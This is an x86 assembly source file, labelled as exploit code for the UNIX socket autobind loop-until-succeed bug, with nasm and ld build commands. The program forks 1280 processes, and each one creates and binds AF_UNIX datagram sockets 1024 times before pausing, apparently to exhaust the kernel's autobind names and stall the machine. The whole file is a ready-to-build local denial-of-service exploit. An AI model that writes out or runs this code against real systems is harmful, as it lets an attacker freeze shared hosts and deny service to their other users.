;; This is an exploit code for UNIX autobind loop-until-succeed bug.
;; nasm -f elf unixloop.asm
;; ld -s -o unixloop unixloop.o
section .text
	CPU 386
	global _start
_start:
	pusha
	cld
	push ss
	pop es
	push ss
	pop ds
; struct {
; 	unsigned short int sa_family;
; 	unsigned int bind_param[3];
; 	unsigned int socket_param[3];
; } args __attribute__((packed));
	xor ecx, ecx
	xor eax, eax
	mov cl, 26
	sub esp, ecx
	mov edi, esp
	rep stosb
; args.sa_family = AF_UNIX;
	mov edi, esp
	inc al
	stosb
	inc edi
; /* args.bind_param[0] is set later */
	mov cl, 4
	add edi, ecx
; args.bind_param[1] = &args.sa_family;
	mov [edi], esp
	add edi, ecx
; args.bind_param[2] = sizeof(args.sa_family);
	mov al, 2
	mov [edi], eax
	add edi, ecx
; args.socket_param[0] = AF_UNIX;
	mov al, 1 ; AF_UNIX
	mov [edi], eax
	add edi, ecx
; args.socket_param[1] = SOCK_DGRAM;
	mov al, 2
	mov [edi], eax
	xor ecx, ecx
; /* Call fork() for 1280 times. */
	mov ch, 5
parent:
	xor eax, eax
	mov al, 2 ; eax = NR_fork
; /* Call fork() */
	int 0x80
	or eax, eax
	jz child
	loop parent
	xor ecx, ecx
	jz done
child:
; /* Call socket() and bind() for 1024 times. */
	xor ecx, ecx
	mov ch, 4
repeat1:
	push ecx
		xor ebx, ebx
		mov bl, 4 + 2 + 12
		mov ecx, esp
		add ecx, ebx ; ecx = &args.socket_param
		xor eax, eax
		mov al, 102 ; eax = NR_socketcall
		mov bl, 1 ; ebx = SYS_SOCKET
; /* Call socket() */
		int 0x80
		xor ebx, ebx
		mov bl, 4 + 2
		mov ecx, esp
		add ecx, ebx ; ecx = &args.bind_param
; args.bind_param[0] = socket();
		mov [ecx], eax
		xor eax, eax
		mov al, 102 ; eax = NR_socketcall
		mov bl, 2 ; ebx = SYS_BIND
; /* Call bind() */
		int 0x80
	pop ecx
	loop repeat1
done:
; /* Call pause() */
	xor eax, eax
	mov al, 29 ; eax = NR_pause
	int 0x80
; /* Call _exit(0) */
	xor ebx, ebx ; ebx = 0
	xor eax, eax
	inc al ; eax = NR_exit
	int 0x80
